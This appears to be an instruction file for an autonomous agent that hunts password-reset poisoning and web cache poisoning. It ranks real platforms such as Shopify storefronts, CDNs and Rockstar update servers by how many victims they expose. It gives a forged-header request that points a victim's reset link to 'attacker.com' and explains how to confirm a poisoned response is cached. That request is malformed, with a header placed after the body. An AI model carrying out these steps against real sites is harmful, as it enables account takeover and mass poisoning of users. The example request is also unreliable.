hunt-cache-poison

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

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Crown Jewel Targets

Cache poisoning is high-value because a single poisoned cache entry can affect thousands or millions of victims simultaneously — one request, mass exploitation. Payout scales with blast radius.

Highest-value targets:

• CDN-served assets (cdn.shopify.com, cloudfront distributions, Fastly/Akamai edges) — poisoning these affects every visitor globally
• E-commerce platforms with affiliate/referral flows (Shopify, WooCommerce storefronts) — session hijack or affiliate fraud potential
• Gaming platforms with update servers (rockstargames updates.* domains) — DoS on update delivery = widespread client breakage
• Authentication endpoints served through caches — leads to account takeover (the highest severity variant)
• Asset CDNs (JS/CSS delivery) — XSS payload delivery at scale
• SaaS multi-tenant platforms — one poisoned response bleeds into all tenants sharing a cache key

Asset types that pay most: CDN hostnames, subdomain-per-tenant patterns, update/download servers, login/account pages cached incorrectly, affiliate link shorteners.

Autonomous Testing Priority

Two distinct attacks live under this skill — target the simpler one first.

Attack 1 — Password Reset Poisoning (Host header injection):

The app uses the Host header to construct the password reset link in the email. Inject an attacker-controlled hostname; the victim's reset email contains a link to your server.

POST /forgot-password
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com

email=victim@target.com
Content-Type: application/x-www-form-urlencoded

Use a distinctive hostname you control or can identify in the response. Proof: the injected hostname appears in the response body (some apps reflect the generated reset link), or the action succeeds (2xx with a "reset email sent" message) after injection — confirming the poisoned link would be sent to the victim.

Try multiple host headers — apps vary in which one they trust (X-Forwarded-Host is most common, but Host itself also works when the proxy passes it through).

Attack 2 — Web Cache Poisoning:

Inject the attacker-controlled hostname into X-Forwarded-Host on a GET request for a cacheable page. If the hostname is reflected in the response body AND the response gets cached, subsequent visitors receive the poisoned response.

Check for cache signals in the response: X-Cache: HIT, CF-Cache-Status: HIT, Age: <nonzero>, or Via: cloudfront/varnish/fastly.

Proof for both: injected value reflected in response body, or action completed successfully despite the manipulated header.

Attack Surface Signals

URL patterns to look for:

• cdn., assets., static., updates., downloads. subdomains
• URL path structures with extensions that look static: /path/to/page.css, /account.php/nonexistent.jpg
• Affiliate/link shortener endpoints: /link/, /go/, /ref/, /out/
• Paths that mix dynamic content with cacheable-looking URLs

Response headers that signal a cache:

X-Cache: HIT / MISS
X-Cache-Status: HIT
CF-Cache-Status: HIT / MISS (Cloudflare)
Age: <nonzero>
Via: 1.1 varnish / cloudfront / fastly
Cache-Control: public, max-age=...
Surrogate-Control: max-age=...
X-Served-By: cache-...

JS/tech stack signals:

• Fastly, Varnish, Cloudfront, Akamai, Nginx proxy_cache in response headers
• Shopify/Linkpop stacks with third-party integrations
• Platforms using path-based routing without normalizing trailing segments

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